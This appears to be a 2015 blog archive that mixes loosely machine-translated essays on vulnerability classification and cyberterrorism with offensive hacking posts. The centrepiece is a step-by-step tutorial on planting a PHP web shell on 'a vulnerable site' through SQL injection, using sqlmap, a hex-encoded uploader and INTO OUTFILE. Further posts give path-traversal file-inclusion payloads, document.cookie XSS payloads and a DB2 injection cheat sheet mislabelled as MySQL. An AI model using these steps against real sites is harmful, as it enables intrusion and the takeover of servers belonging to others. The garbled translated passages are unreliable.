The vulnerability of computer systems and their classification

Vulnerability refers to any characteristic of the information system, the use of which the offender may result in the implementation of the threat. It does not matter purposefully used the vulnerability or that happens unintentionally. As an offender can be any entity corporate network that tried to implement unauthorized access to network resources by mistake, ignorance or with malicious intent.

To eliminate confusion with the name of vulnerabilities and attacks in 1999, MITRE Corporation () proposed a solution that is independent of the various search tools manufacturer vulnerabilities. This decision was implemented as a database CVE (Common Vulnerability Enumeration), which was later renamed the Common Vulnerabilities and Exposures. This allowed all professionals and manufacturers to talk the same language. For example, the different names of the same vulnerability (CA-96.06.cgi_example_code, HTTP 'phf' Attack, http-cgi-phf, phf CGI allows remote command execution, PHF Attacks - Fun and games for the whole family, # 107 - cgi-phf, # 3200 - WWW phf attack, Vulnerability in NCSA / Apache Example Code, http_escshellcmd, # 180 HTTP Server CGI example code compromises http server) received a single code CVE-1999-0067.

In the development of a database of experts in addition to CVE MITRE was attended by experts of many well-known companies and organizations. For example, ISS, Cisco, BindView, Axent, NFR, L-3, CyberSafe, CERT, Carnegie Mellon University, Institute of SANS, UC Davis Computer Security Lab, CERIAS etc. Their support base CVE said the company Internet Security Systems, Cisco, Axent, BindView, IBM and others. However, despite such an attractive initiative CVE database is not yet widespread among manufacturers of commercial products.

The most dangerous vulnerabilities design that can be detected and removed with great difficulty. In this case, the vulnerability inherent design or algorithm and therefore even perfect its implementation (which is impossible in principle) does not eliminate the vulnerability inherent in it.

For example, the vulnerability of the protocol stack TCP / IP. Underestimation of the safety requirements in creating this protocol stack has led to the fact that does not pass the month that there was no announcement of a new vulnerability in the protocols stack TCP / IP.

For example, 7 and 8 February 2000, there were a malfunction such popular and leading Internet-servers like Yahoo (), eBay (), Amazon (), Buy () and CNN (). February 9 similar fate befell the server ZDNet (), Datek () and E * Trade (). Conducted by the FBI investigation revealed that these servers are out of order because of the huge number of requests addressed to them, which led to the fact that the server could not handle the traffic of such scope and out of order. For example, organized by the server Buy traffic exceeded the average 24 times and 8 times higher than the maximum permissible load on the server supporting performance Buy. Once and for all eliminate these disadvantages is no longer possible - there are only temporary or partial measures.

However, there are exceptions. For example, the introduction of the draft set of corporate network modems to facilitate the work of staff, but greatly complicates the work of the security services. This leads to potential ways to bypass the firewall that protects internal resources from unauthorized use. And find and fix the vulnerability easily enough.

The meaning of the second category of vulnerabilities (vulnerabilities implementation) is an error in the implementation phase in the software or hardware correctly in terms of security of the project or algorithm. A striking example of this vulnerability - "buffer overflow" ("buffer overflow") in many implementations of programs, for example, sendmail or Internet Explorer. Detect and eliminate this type of vulnerability is relatively easy - by updating executable code or change the source code of the vulnerable software. Another example is the case of the implementation of vulnerabilities to computers Tandem, which occurred November 1, 1992 and January 7, 1993 At 3 am the functioning of most computers Tandem around the world has been violated because of a failure in the subsystem BASE23 Nucleus, leading to overflow variable timer microcode at a certain time. Because of this error, the value of the system clock has been reset to December 1983, which sometimes leads to misinterpretation of the data in a variety of financial applications.

Tuesday, January 13, 2015

Cyberterrorism - a real threat of our time

Cyber-terrorism: problems of counteraction
Globalization of information processes has not only opened up new opportunities for the progressive development of humanity, but also caused a number of qualitatively new global threats, including the vulnerability of the international community to criminal abuse in the field of information security.

The urgency of countering terrorist threats, based on new technologies, causes the fact that the possible terrorist use of the Internet resources are constantly in the field of view of the competent authorities of CIS countries.

This definition is consistent with the recommendations of UN experts. In their view, the term "cyber crime" means any crime that can be committed through a computer system or network, as part of a computer system or network or against a computer system or network. Thus, a cybercrime can be attributed any crime committed in an electronic environment. [4] The crime committed in cyberspace - is guilty of unlawful interference with the operation of computers, computer software, computer networks, unauthorized modification of computer data, as well as other illegal public dangerous acts committed on or through the computer, networking and software.

The widespread use of personal computers, as well as based on these computer networks, increasing the volume of information, the gradual replacement of paper-based document processing, expanding the range of users has led to qualitatively new possibilities of unauthorized access to confidential information and data information networks to their high vulnerability.

In our opinion, these four types of crimes are the actual "computer", the other - it is either connected to a computer (computer-related), or committed by a computer (computer-facilitated) crime. These include:

• a crime in which the computer is a tool (electronic theft, fraud, etc.);
• act in the commission of which the computer is an intelligent agent (eg, placement on child pornography sites, information, inciting national, racial or religious hatred, etc.).

There was quite a new phenomenon in the field of information technologies such as "computer or cyber-terrorism." In this particular danger of cyber-terrorism is that "in order to achieve their criminal aims terrorists can attack the information environment, in particular, the computer control system whole branches of industry, defense, critical infrastructure." A clear illustration of this thesis is the June (2007), a cyber attack on the Pentagon, which resulted in out of order more than 1500 computers.

Upload php web-shell with MySql injection

Upload shell with SQL injection
1. After finding a vulnerable site you need to get full path disclosure.
I will use the empty array exploit, add the brackets []
http://www.example.com/index.php?id[]=1
Gives something like
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/relax/public_html/index.php on line 59
Now we have the path.
2. You need to convert your upload script to hex
<form enctype="multipart/form-data" action="upload.php" method="POST"><input name="uploadedfile" type="file"/><input type="submit" value="Upload File"/></form> <?php $target_path=basename($_FILES['uploadedfile']['name']);if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'],$target_path)){echo basename($_FILES['uploadedfile']['name'])." has been uploaded";}else{echo "Error!";}?>
Becomes
3c666f726d20656e63747970653d226d756c7469706172742f666f726d2d646174612220616374696f6e3d2275706c6f61642e70687022206d6574686f643d22504f5354223e3c696e707574206e616d653d2275706c6f6164656466696c652220747970653d2266696c65222f3e3c696e70757420747970653d227375626d6974222076616c75653d2255706c6f61642046696c65222f3e3c2f666f726d3e0d0a3c3f70687020247461726765745f706174683d626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d293b6966286d6f76655f75706c6f616465645f66696c6528245f46494c45535b2775706c6f6164656466696c65275d5b27746d705f6e616d65275d2c247461726765745f7061746829297b6563686f20626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d292e2220686173206265656e2075706c6f61646564223b7d656c73657b6563686f20224572726f7221223b7d3f3e
3. Now lets fire up sqlmap with a sql-shell and inject
python sqlmap.py --url=http://www.example.com/index.php?id=1 --sql-shell
Let sqlmap do its magic and after a while you will get a sql-shell
Gives something like
[15:35:06] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.3.5, Apache 2.2.17
back-end DBMS: MySQL 5
[15:35:06] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell>
Now write
SELECT 0xYour_Hex_Code INTO OUTFILE "Full_Path+filename";
Don't forget the 0x before your hex, so it soul look like
SELECT 0x3c666f726d20656e63747970653d226d756c7469706172742f666f726d2d646174612220616374696f6e3d2275706c6f61642e70687022206d6574686f643d22504f5354223e3c696e707574206e616d653d2275706c6f6164656466696c652220747970653d2266696c65222f3e3c696e70757420747970653d227375626d6974222076616c75653d2255706c6f61642046696c65222f3e3c2f666f726d3e0d0a3c3f70687020247461726765745f706174683d626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d293b6966286d6f76655f75706c6f616465645f66696c6528245f46494c45535b2775706c6f6164656466696c65275d5b27746d705f6e616d65275d2c247461726765745f7061746829297b6563686f20626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d292e2220686173206265656e2075706c6f61646564223b7d656c73657b6563686f20224572726f7221223b7d3f3e
INTO OUTFILE "/home/relax/public_html/upload.php";
After a few seconds you should get a confirmation if it was successful or not
4. Browse to http://www.example.com/upload.php and upload the php shell
5. Browse to your php shell
==> Extra:
-- You don't need to use sqlmap you can simply run the select statement in your browser, It requires a bit more work though.
-- You can inject the full shellcode directly instead of first writing the uploader, the problems is that most shells have big size but maybe with a smaller shell

Sunday, January 11, 2015

File inclusion vulnerability (PHP Object Injection)

File inclusion vulnerability is a type of vulnerability most often found on websites. It allows an attacker to include a file, usually through a script on the web server. The vulnerability occurs due to the use of user-supplied input without proper validation. This can lead to something as minimal as outputting the contents of the file or more serious events such as:
PHP injection or PHP Object Injection is an application level vulnerability that allows an attacker to perform various kinds of malicious attacks such as SQL Injection, Application Denial of Service, Code Injection and Path Traversal based on the context. The vulnerability generally occurs when the input supplied by the user is not sanitized properly before passing to the unserialize()PHP function(takes single serialized variable and converts it into the PHP value). PHP contains the object serialization feature that allows attackers to pass serialized strings to a vulnerable unserialize() call. This results in an arbitrary PHP object injection into the scope of the application. Serialized strings are those that create representations of the values that can be stored.

<?php include("inc/" . $_GET['file']); ?>
  • Including files in the same directory:
    ?file=.htaccess
  • Path Traversal:
    ?file=../../../../../../../../../var/lib/locate.db
    (this file is very interesting because it lets you search the filesystem, other files)
  • Including injected PHP code:
    ?file=../../../../../../../../../var/log/apache/error.log

Cross-site scripting (XSS) injection

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. XSS enables attackers to inject client-side script into Web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same origin policy. Cross-site scripting carried out on websites accounted for roughly 84% of all security vulnerabilities documented by Symantec as of 2007.[1] Their effect may range from a petty nuisance to a significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner.

This article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing. The initial contents of this article were donated to OWASP by RSnake, from his seminal XSS Cheat Sheet, which was at: http://ha.ckers.org/xss.html. That site now redirects to its new home here, where we plan to maintain and enhance it. The very first OWASP Prevention Cheat Sheet, the XSS (Cross Site Scripting) Prevention Cheat Sheet, was inspired by RSnake's XSS Cheat Sheet, so we can thank him for our inspiration. We wanted to create short, simple guidelines that developers could follow to prevent XSS, rather than simply telling developers to build apps that could protect against all the fancy tricks specified in rather complex attack cheat sheet, and so the OWASP Cheat Sheet Series was born. 

Skip the HREF attribute and get to the meat of the XXS... Submitted by David Cross ~ Verified on Chrome
<a onmouseover="alert(document.cookie)">xxs link</a>
or Chrome loves to replace missing quotes for you... if you ever get stuck just leave them off and Chrome will put them in the right place and fix your missing quotes on a URL or script.
<a onmouseover=alert(document.cookie)>xxs link</a>

Saturday, January 10, 2015

MySQL injection in details

SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker).[1] SQL injection must exploit a security vulnerability in an application's software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known as an attack vectorfor websites but can be used to attack any type of SQL database.

From Wiki - http://en.wikipedia.org/wiki/SQL_injection

Versionselect versionnumber, version_timestamp from sysibm.sysversions;
Commentsselect blah from foo; — comment like this
Current Userselect user from sysibm.sysdummy1;
select session_user from sysibm.sysdummy1;
select system_user from sysibm.sysdummy1;
List UsersN/A (I think DB2 uses OS-level user accounts for authentication.)Database authorities (like roles, I think) can be listed like this:
select grantee from syscat.dbauth;
List Password HashesN/A (I think DB2 uses OS-level user accounts for authentication.)
List Privilegesselect * from syscat.tabauth; — privs on tables
select * from syscat.dbauth where grantee = current user;
select * from syscat.tabauth where grantee = current user;
select * from SYSIBM.SYSUSERAUTH – List db2 system privilegies
List DBA Accountsselect name from SYSIBM.SYSUSERAUTH where SYSADMAUTH = ‘Y’ or SYSADMAUTH = ‘G’
Current Databaseselect current server from sysibm.sysdummy1;
List DatabasesSELECT schemaname FROM syscat.schemata;
List Columnsselect name, tbname, coltype from sysibm.syscolumns;
List Tablesselect name from sysibm.systables;
Find Tables From Column Nameselect tbname from sysibm.syscolumns where name=’username’
Select Nth Rowselect name from (SELECT name FROM sysibm.systables order by
name fetch first N+M-1 rows only) sq order by name desc fetch first N rows only;
Select Nth CharSELECT SUBSTR(‘abc’,2,1) FROM sysibm.sysdummy1;  — returns b
Bitwise ANDThis page seems to indicate that DB2 has no support for bitwise operators!
ASCII Value -> Charselect chr(65) from sysibm.sysdummy1; — returns ‘A’
Char -> ASCII Valueselect ascii(‘A’) from sysibm.sysdummy1; — returns 65
CastingSELECT cast(’123′ as integer) FROM sysibm.sysdummy1;
SELECT cast(1 as char) FROM sysibm.sysdummy1;
String ConcatenationSELECT ‘a’ concat ‘b’ concat ‘c’ FROM sysibm.sysdummy1; — returns ‘abc’
select ‘a’ || ‘b’ from sysibm.sysdummy1; — returns ‘ab’